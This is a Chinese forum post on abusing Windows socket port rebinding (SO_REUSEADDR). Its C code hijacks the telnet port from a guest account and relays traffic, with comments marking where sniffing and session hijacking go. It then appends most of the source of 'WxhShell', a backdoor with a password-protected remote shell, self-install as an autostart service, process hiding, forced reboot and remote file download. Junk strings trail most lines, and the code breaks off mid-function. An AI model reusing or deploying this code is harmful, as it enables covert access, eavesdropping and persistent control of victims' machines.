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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9!oNyqQ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .TetN}w  
- AxO1 qO  
  saddr.sin_family = AF_INET; ~m.@{Do0p  
nc.X+dx:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *f$wmZ5A  
WT>2eMK[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); m%km@G$  
TwXqk>J  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 YV>]c9!q  
V3$Yr"rZ;  
  这意味着什么?意味着可以进行如下的攻击: IPT\d^|f  
cp>1b8l6?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /__@a&9t  
k\a&4v  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) JA~v:ec  
k),.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :;]iUjiC8  
cfd7)(6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  P>3 ;M'KsO  
/a!M6:,pX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0? QTi(  
nB1[OB{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,P9q[  
S( r Fa  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u4a(AB>S  
mxJ& IV  
  #include qE&R.I!o  
  #include 4R/cN' -  
  #include yk| < P\  
  #include    fSFb)+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   g",htYoEnj  
  int main() N3J;_=<4  
  { |B;tv#mKD  
  WORD wVersionRequested; :v!e8kM\x  
  DWORD ret; ]V K%6PQ0  
  WSADATA wsaData; .`3O4]N[  
  BOOL val; e1 j3X\ \  
  SOCKADDR_IN saddr; u 6(O;  
  SOCKADDR_IN scaddr; (}u2) 9  
  int err; ]l WEdf+  
  SOCKET s; tmJ-2  
  SOCKET sc; %`[Oz[V  
  int caddsize; OF)G 2>t  
  HANDLE mt; '-7rHx  
  DWORD tid;   IE|$mUabm  
  wVersionRequested = MAKEWORD( 2, 2 ); plRBfw>]N  
  err = WSAStartup( wVersionRequested, &wsaData ); Z4 +6'  
  if ( err != 0 ) { zFqlTUD`t  
  printf("error!WSAStartup failed!\n"); VNcxST15a  
  return -1; BB694   
  } :q0TS>l  
  saddr.sin_family = AF_INET; U- UD27  
   S_VZ^1X]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u2G{I?  
eiV[y^?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); eI7FbOze  
  saddr.sin_port = htons(23); Hq*\,`b&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uwcm%N;I"  
  { Gb\Nqx(  
  printf("error!socket failed!\n"); Is $I;`  
  return -1; ^T#bla893  
  } $-}a<UFE;  
  val = TRUE; .m]"lH*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %&RF;qa2xu  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `H.~ # $  
  { ,X05&'@Z  
  printf("error!setsockopt failed!\n"); 4iD-jM_D  
  return -1; N:]71+  
  } 6{ql.2 Fa  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]c.1&OB7o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 75+#)hNa!P  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 KTm^0:V[Oy  
J .r^"K\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -r6cK,WVU  
  { wMB. p2  
  ret=GetLastError(); ?9E shw2  
  printf("error!bind failed!\n"); 9BJP|L%q  
  return -1; PE~umY]  
  } &G)I|mv  
  listen(s,2); h2SVDKj  
  while(1) Y%FQ]Q=+  
  { WPmH4L>T  
  caddsize = sizeof(scaddr); `m.).Hda  
  //接受连接请求 [<+A?M=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5v f?E"\r  
  if(sc!=INVALID_SOCKET) Vy:I[@6@+  
  { !y&uK&1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,dTRM  
  if(mt==NULL) ;wi}6rF%[i  
  { zq=X;}qYj  
  printf("Thread Creat Failed!\n"); a5/6DK>  
  break; mUmU_L u8  
  } *v}8n95*2  
  } s[ ze8:  
  CloseHandle(mt); )AxgKBW  
  } @%7IZg;P6  
  closesocket(s); ET_a>]<mv  
  WSACleanup(); ?*36&Iq}  
  return 0; ^u? #fLr  
  }   []'gIF  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8!~8:?6n  
  { g[]UM;D*  
  SOCKET ss = (SOCKET)lpParam; H]6i1j  
  SOCKET sc; _(K)(&  
  unsigned char buf[4096]; ZPktZ  
  SOCKADDR_IN saddr; UE-<  
  long num; kK27hfsw  
  DWORD val; h%9>js^~  
  DWORD ret; p(jY2&g  
  //如果是隐藏端口应用的话,可以在此处加一些判断 pSjJ u D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0]3 ,0s $}  
  saddr.sin_family = AF_INET; hV(>}hb  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); WF)(Q~op0U  
  saddr.sin_port = htons(23); G E=J Y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  I~'%  
  { lEcZ/  
  printf("error!socket failed!\n"); 3@qy}Nm  
  return -1; S'Hb5C2u  
  } #H'j;=]:  
  val = 100; 81gcM?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O_zW/#  
  { q#{.8H-X'  
  ret = GetLastError(); vD=>AAvG  
  return -1; Tz\ PQ)!  
  } 64)Fz}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?ztI8 I/  
  { BB x359  
  ret = GetLastError(); /s@t-gTi  
  return -1; 4pvT?s>68  
  } rBOxI  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #GDnV/0)  
  { g[oa'.*OB  
  printf("error!socket connect failed!\n"); ~AVn$];{  
  closesocket(sc); R&>G6jZ?8  
  closesocket(ss); uPVM>xf>w  
  return -1; #.<Uy."z2  
  } ~  4v  
  while(1) eGwO!Lv}B  
  { Mnu8d:$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 pyvH [  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 r{cefKJHg  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  n[vwwY  
  num = recv(ss,buf,4096,0); m\4V;F  
  if(num>0)  ;Y6XX_  
  send(sc,buf,num,0); f9" M^i  
  else if(num==0) :U6"HP+?g-  
  break; -0QoVGw  
  num = recv(sc,buf,4096,0); b^*9m PP  
  if(num>0) {7k Jj(Ue  
  send(ss,buf,num,0); fH-fEMyW  
  else if(num==0) \# p@ef  
  break; 9nM_LV  
  } /|<Pn!}J  
  closesocket(ss); %DK0s(*w0  
  closesocket(sc); (yx^zW7  
  return 0 ; wMW."gM|  
  } RP@U0o  
1zGD~[M  
O$qxo &  
========================================================== C+0MzfLgf  
8t1XZ  
下边附上一个代码,,WXhSHELL S55h}5Y  
O'm5k l  
========================================================== &z;bX-"E  
TANv)&,|9  
#include "stdafx.h" _>8rTk`/h  
_#UiY ffa*  
#include <stdio.h> @ 0'j;")XV  
#include <string.h> L;7u0Yg  
#include <windows.h> ?*)Q[P5  
#include <winsock2.h> e(=() :4is  
#include <winsvc.h> ]C;X/8'Jf5  
#include <urlmon.h> x%v[(*F#y  
5NR@<FE  
#pragma comment (lib, "Ws2_32.lib") H[S}&l\D4  
#pragma comment (lib, "urlmon.lib") ,QeJ;U  
~'9\y"N1  
#define MAX_USER   100 // 最大客户端连接数  uc<JF=  
#define BUF_SOCK   200 // sock buffer 5@lVuMIYT  
#define KEY_BUFF   255 // 输入 buffer g<E[IR  
HUA{ P%  
#define REBOOT     0   // 重启 |p .o^  
#define SHUTDOWN   1   // 关机 [!~= m  
afw`Heaa2(  
#define DEF_PORT   5000 // 监听端口 `WUyffS/!  
-wsoJh  
#define REG_LEN     16   // 注册表键长度 7C&J88|\  
#define SVC_LEN     80   // NT服务名长度 o7r7HmA@  
i_c'E;|  
// 从dll定义API khc1<BBsT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n5DS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >\7M f@c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V&h{a8xa$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E/3i _R  
VMee"'08  
// wxhshell配置信息 2q NA\-0i>  
struct WSCFG { 'OACbYgG  
  int ws_port;         // 监听端口 33=lR-N#  
  char ws_passstr[REG_LEN]; // 口令 q4EOI  
  int ws_autoins;       // 安装标记, 1=yes 0=no :`>$B?x+  
  char ws_regname[REG_LEN]; // 注册表键名 k-Z :z?M  
  char ws_svcname[REG_LEN]; // 服务名 :MP*Xy\7&J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w+wg)$i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b9xvLR8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l(y,lK=YP1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )ZW[$:wA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \ xJ_ )r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j* ZU}Ss  
;*G';VuT  
}; ;/h&40&  
2dyS_2u  
// default Wxhshell configuration mDXG~*1   
struct WSCFG wscfg={DEF_PORT, j S4\;  
    "xuhuanlingzhe", 7BS5Eq B=  
    1, `53S[8  
    "Wxhshell", : 5X^t  
    "Wxhshell", kaT  !   
            "WxhShell Service", N>H#Ew@2U  
    "Wrsky Windows CmdShell Service", kz*6%Cg*~  
    "Please Input Your Password: ", f<{f/lU@  
  1, 2oF1do;  
  "http://www.wrsky.com/wxhshell.exe", Z[9t?ePL  
  "Wxhshell.exe" i'QR-B&Z  
    }; rJT YCe1*  
l;SXR <EU  
// 消息定义模块 6U0BP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dBkM~"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iYf)FPET  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8og8;#mnyr  
char *msg_ws_ext="\n\rExit."; q@^^jlHP  
char *msg_ws_end="\n\rQuit."; !,^y!+,Qy  
char *msg_ws_boot="\n\rReboot..."; x*sDp3f[*  
char *msg_ws_poff="\n\rShutdown..."; ;:,U]@  
char *msg_ws_down="\n\rSave to "; ? Rk[P cX<  
uznYLS  
char *msg_ws_err="\n\rErr!"; ICEyz| C  
char *msg_ws_ok="\n\rOK!"; D$AvD7_  
1u8hnG  
char ExeFile[MAX_PATH]; 4?fpk9c{2  
int nUser = 0; O I0N(V  
HANDLE handles[MAX_USER]; 'T|EwrS j  
int OsIsNt; c{IL"B6>  
zm{`+boH<  
SERVICE_STATUS       serviceStatus; %>y`VN D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ' <?=!&\D  
m5o$Dus+?'  
// 函数声明 i-ww@XOQ  
int Install(void);  sd"eu  
int Uninstall(void); `TYC]9  
int DownloadFile(char *sURL, SOCKET wsh); 1bFGoLAEFl  
int Boot(int flag); ;Dbx5-t  
void HideProc(void); Cw"[$E'J  
int GetOsVer(void); XtQwLH+F  
int Wxhshell(SOCKET wsl); &ty-aB=F  
void TalkWithClient(void *cs); )MF 4b ][  
int CmdShell(SOCKET sock); \:g\?[  
int StartFromService(void); yk'L_M(=  
int StartWxhshell(LPSTR lpCmdLine); VJP#  
*8_Dn}u?Jx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2+/r~LwbK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dW2 2v!  
>& 4):  
// 数据结构和表定义 -G~/ GO  
SERVICE_TABLE_ENTRY DispatchTable[] = RU=\eD  
{ nLOK1@,4  
{wscfg.ws_svcname, NTServiceMain}, _#1EbvO*l  
{NULL, NULL} 5 NC77}^.  
}; t Davp:M1v  
3:G$Y: #P  
// 自我安装 m[%':^vSr  
int Install(void) ?6\N&MTF  
{ ]imVIu   
  char svExeFile[MAX_PATH]; d'&OEGb<  
  HKEY key; jhPbh5E  
  strcpy(svExeFile,ExeFile); pN)x,<M)  
omGzyuPF  
// 如果是win9x系统,修改注册表设为自启动 @lX%Fix9  
if(!OsIsNt) { aOw#]pB|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =)G]\W)m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LEOri=?RF  
  RegCloseKey(key); `K:n=hpF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eXD~L&s[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4JU 2x  
  RegCloseKey(key); z]SEPYq:  
  return 0; *>"NUHq  
    } %6%mf>Guf  
  } nW*cqM%+  
} $)$ r  
else { ^pH8'^n  
/qJCp![X  
// 如果是NT以上系统,安装为系统服务 sVBr6 !v=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Mtv{37k~  
if (schSCManager!=0) H3*] }=   
{ V ?'p E  
  SC_HANDLE schService = CreateService M>|ZBEK  
  ( 4F9!3[}qF  
  schSCManager, D/Ok  
  wscfg.ws_svcname, _3D9>8tzE7  
  wscfg.ws_svcdisp, VKZP\]$XG  
  SERVICE_ALL_ACCESS, m?4hEwQxf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I]i( B+D  
  SERVICE_AUTO_START, 7y3WV95Z\  
  SERVICE_ERROR_NORMAL, =.CiKV$E  
  svExeFile, maDWV&Db  
  NULL, z?Ok'LX  
  NULL, |pv$],&&:  
  NULL, gKl9Nkd!R  
  NULL, Sgv_YoD?-  
  NULL i-w$-2w  
  ); S9r?= K  
  if (schService!=0) P9qIq]M  
  { I*^t!+q$  
  CloseServiceHandle(schService); )XavhS~Ff  
  CloseServiceHandle(schSCManager); NJE*/_S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6WT3-@d  
  strcat(svExeFile,wscfg.ws_svcname); TE$6=;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OJ"./*H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e ><0crb  
  RegCloseKey(key); 7l$ u.[  
  return 0; 9unRMvE u  
    } >qOG^{&x  
  } Z'j[N4%BK  
  CloseServiceHandle(schSCManager); ~-6_-Y|  
} Y%kOq`uT=n  
} vpf.0!zh  
g)^s+Y  
return 1; De^:9<{jc  
} [520!JhZY  
7I'C'.6iM  
// 自我卸载 ~  z3J4s  
int Uninstall(void) w&p(/y  
{ 7 s{vou  
  HKEY key; UO&$1rV  
CEI"p2  
if(!OsIsNt) { * 30K}&T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O=V_ 7I5  
  RegDeleteValue(key,wscfg.ws_regname); RqGX(Iuv  
  RegCloseKey(key); aVHIU3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?RS:I%bL  
  RegDeleteValue(key,wscfg.ws_regname); te2vv]W1  
  RegCloseKey(key); KcpYHWCa.  
  return 0; +|d]\WlJ  
  } [.fh2XrVM  
} "Kp#Lx  
} GJZjQH-#P  
else { bY.VNA  
#@OPi6.#!<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GW'v\O  
if (schSCManager!=0) #:0-t!<0C  
{ ;veD?|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "r_wgl%  
  if (schService!=0) oRSA&h Ss  
  { ZHN'j] ?  
  if(DeleteService(schService)!=0) { j\IdB:}j  
  CloseServiceHandle(schService); 64mEZ_kG,  
  CloseServiceHandle(schSCManager); z9[TjTH^}T  
  return 0; WYTqQqQk  
  } y)&K9 I  
  CloseServiceHandle(schService); H}5WglV.  
  } s$>n U  
  CloseServiceHandle(schSCManager); <^Vj1s  
} F/BR#J1  
} '7el`Ff  
$'3xl2T  
return 1; GW;%~qH[,  
} lTqlQ<`V  
D)ri_w!Q  
// 从指定url下载文件 U< Xdhgo?  
int DownloadFile(char *sURL, SOCKET wsh) [Cv./hEQi  
{ RYEZ'<  
  HRESULT hr; I:iMRvp  
char seps[]= "/"; }' AY#g  
char *token; ; $80}TY '  
char *file; EZ .3Z`  
char myURL[MAX_PATH]; )S%t) }  
char myFILE[MAX_PATH]; wxo  
2=Naq Ht(  
strcpy(myURL,sURL); ) yMrE T m  
  token=strtok(myURL,seps); : gU5CUm  
  while(token!=NULL) 0GrM:Lh y  
  { nS%jnp#  
    file=token; 2L1 ,;  
  token=strtok(NULL,seps); k*fU:q1  
  } I_v}}h{  
&N/t%q  
GetCurrentDirectory(MAX_PATH,myFILE); Lcpe*C x-  
strcat(myFILE, "\\"); 9%T"W  
strcat(myFILE, file); U[f00m5{HV  
  send(wsh,myFILE,strlen(myFILE),0); ?$109wZ:9  
send(wsh,"...",3,0); BNNM$.ZIQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rnj$u-8  
  if(hr==S_OK) u3+B/ 5x  
return 0; i)|jLrW~e  
else R*D<M3  
return 1; Yu3S3aRE  
W]ca~%r  
} g) u%?T  
xz"60xxY  
// 系统电源模块 v5S9h[gT  
int Boot(int flag) YkWHI (p  
{ 2uE<mjCt-r  
  HANDLE hToken; f(m, !  
  TOKEN_PRIVILEGES tkp; 43AzNXWF8  
6K pq~o   
  if(OsIsNt) { i)z|= |?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Uv *A a7M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WZNq!K H  
    tkp.PrivilegeCount = 1; &[-(=43@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8-nf4=ll  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~%/Rc`  
if(flag==REBOOT) { zg<-%r'$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jn V=giBu  
  return 0; w7U]-MW6A*  
} b/z-W`gw  
else { ,-y9P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >5~#BrpwG  
  return 0; nL:&G'd  
} `]eJF|"  
  } LOx+?4|y  
  else { ?8V.iHJk  
if(flag==REBOOT) { #_ |B6!D!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }R['Zoh4I  
  return 0; [v"Z2F<.=  
} \tI%[g1M  
else { ~U]g;u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yv[j Pbe  
  return 0; }UW7py!TN  
} yQ[;y~W  
} I$xZV?d.  
njy2pDC@  
return 1; :jl*Y-mM  
} { ] R'U/  
XA2Ld  
// win9x进程隐藏模块 NZq-%bE  
void HideProc(void) CjQO5  
{ [b3!H{b#  
\#9LwC"8;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MuY:(zC%  
  if ( hKernel != NULL ) %PYl  
  { crM5&L9zF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @N>7+ 4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %hnBpz  
    FreeLibrary(hKernel); BY6#dlDi  
  } o{s2T)2  
,5n!a.T  
return; F<* /J]  
} 1VX3pkUET  
~wb1sn3  
// 获取操作系统版本 Kq")\Ha,f  
int GetOsVer(void) X( N~tE  
{ i<Vc~ !pT  
  OSVERSIONINFO winfo; m@2E ~m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t/i I!}  
  GetVersionEx(&winfo); b&z#ZY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6Xvpk1  
  return 1; ]<f)Rf">:`  
  else >H;i#!9,  
  return 0; FQ< -Wc  
} 7]h%?W !  
h&<"jCjL  
// 客户端句柄模块 $xbC^ k  
int Wxhshell(SOCKET wsl) +lym8n~-O  
{ +vh|m5"7I7  
  SOCKET wsh; XNYA\%:5S  
  struct sockaddr_in client; ;>J!$B?,  
  DWORD myID; .Mq#88o.*  
&K9;GZS?  
  while(nUser<MAX_USER) 4 mX(.6  
{ _gT65G~z  
  int nSize=sizeof(client); W>@ti9\t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jdxHWkQ   
  if(wsh==INVALID_SOCKET) return 1; &BVHQ7[  
Lzh8-d=HQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vhrf89-q  
if(handles[nUser]==0) <>] DcA  
  closesocket(wsh); 2}vibDq p  
else )0"Q h  
  nUser++; Q]k< Y  
  } B5lwQp]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <XdnVe1  
r6DLShP-Ur  
  return 0; j_8 YFz5  
} ;,4*uU'vq  
)(}[S:`  
// 关闭 socket D p'urf\*$  
void CloseIt(SOCKET wsh) uC'-: t#  
{ Ln& pe(c  
closesocket(wsh); ;s B=f  
nUser--; Th)  
ExitThread(0); -+".ut:R  
} I\@r ~]+y  
*QC6zJ  
// 客户端请求句柄 .hT>a<  
void TalkWithClient(void *cs) O =Z}DGa+  
{ .a%6A#<X  
*[Hp&6f  
  SOCKET wsh=(SOCKET)cs; m%HT)`>bg  
  char pwd[SVC_LEN]; p*g Fr hm  
  char cmd[KEY_BUFF]; Xoe|]@U`  
char chr[1]; S,&LH-ps   
int i,j; ;wv[';J  
)@g[aRFa  
  while (nUser < MAX_USER) { 1W USp;JMl  
@.t +  
if(wscfg.ws_passstr) { BlVHP8/b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V%,,GmiU]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /Ew()>Y  
  //ZeroMemory(pwd,KEY_BUFF); |L<JOQ  
      i=0; RNT9M:w  
  while(i<SVC_LEN) { |Xso}Y{  
NQdwj>_a  
  // 设置超时 x93@[B*%  
  fd_set FdRead; !nmZ"n|}p  
  struct timeval TimeOut; X|of87  
  FD_ZERO(&FdRead); >^Nnhnr  
  FD_SET(wsh,&FdRead); PQHztS"  
  TimeOut.tv_sec=8; -)V0D,r$[  
  TimeOut.tv_usec=0; BZeEZ2"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pzF_g- B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o|xf2k  
2I.FSR_G?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y1V}c ,  
  pwd=chr[0]; PR{ubM n  
  if(chr[0]==0xd || chr[0]==0xa) { d^v#x[1msZ  
  pwd=0; r:QLU]   
  break; mb\T)rj  
  } Rk$7jZdTf  
  i++; |~9rak,  
    } M Kyj<@[  
\8{SQ%  
  // 如果是非法用户,关闭 socket lu#a.41  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }z]d]  
} UF9={fN1  
M\1CDU+*Ns  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 579Q&|L.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e,(Vy  
<a R  
while(1) { UylIxd  
!yNU-/K  
  ZeroMemory(cmd,KEY_BUFF); (hc!!:N~q  
N_%@_$3G]  
      // 自动支持客户端 telnet标准   }e7Rpgu  
  j=0; F/v.hP_  
  while(j<KEY_BUFF) { 7 [Us.V@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6i/unwe!`)  
  cmd[j]=chr[0]; t>[QW`EeP  
  if(chr[0]==0xa || chr[0]==0xd) { RXXHg  
  cmd[j]=0; dDcQSshL  
  break; &8VH m?h  
  } !)M}(I}  
  j++; pMU\f  
    } KXWcg#zFY  
[}L?EM  
  // 下载文件 0:{W t  
  if(strstr(cmd,"http://")) { Bc=(1ty)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wSR|uh  
  if(DownloadFile(cmd,wsh)) 49 FP&NgK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); XDK Me}  
  else _`2%)#^ o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cS.@02~f"  
  } 5<Kt"5Z%7  
  else { B)q}]Qn  
2a@X-Di  
    switch(cmd[0]) { iwnGWGcuS  
  I Fw7?G,  
  // 帮助 C|y^{4 |R  
  case '?': { ~ <1s[Hu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'iMzp]V;  
    break; '6D"QDZB  
  } c&;" Y{  
  // 安装 MR "f)  
  case 'i': { yzEyOz@Q  
    if(Install()) Uz;^R@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q<>u) %92@  
    else TG=A]--_a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9Qyc!s`  
    break; N[@~q~v  
    } *)[fGxz \  
  // 卸载 bU gg2iFS  
  case 'r': { +}jzge"  
    if(Uninstall()) / `cy4<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QMMpB{FZ`o  
    else qkfof{z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); smCACQ$ (  
    break; :[a*I6/^  
    } F- kjv\  
  // 显示 wxhshell 所在路径 j+!u=E  
  case 'p': { 6$"IeBRO  
    char svExeFile[MAX_PATH]; 1F.._5_"]  
    strcpy(svExeFile,"\n\r"); s:{[Y7\?  
      strcat(svExeFile,ExeFile); xWLZlUHEu  
        send(wsh,svExeFile,strlen(svExeFile),0); ij:xr% FJ  
    break; 'e:4  
    } .BxI~d^  
  // 重启 <.`i,|?MHS  
  case 'b': { wPI!i K@Ro  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); **P P  
    if(Boot(REBOOT)) zd$'8/Cq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8 n[(\f:  
    else { MTt8O+J?P~  
    closesocket(wsh); 1 F:bExQ  
    ExitThread(0); x|Uwk=;X|s  
    } )d[n-Si  
    break; Bc!<!  
    } c Lyf[z)W  
  // 关机 *6JA&zj0B  
  case 'd': { ?z&n I#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); shB3[W{}!)  
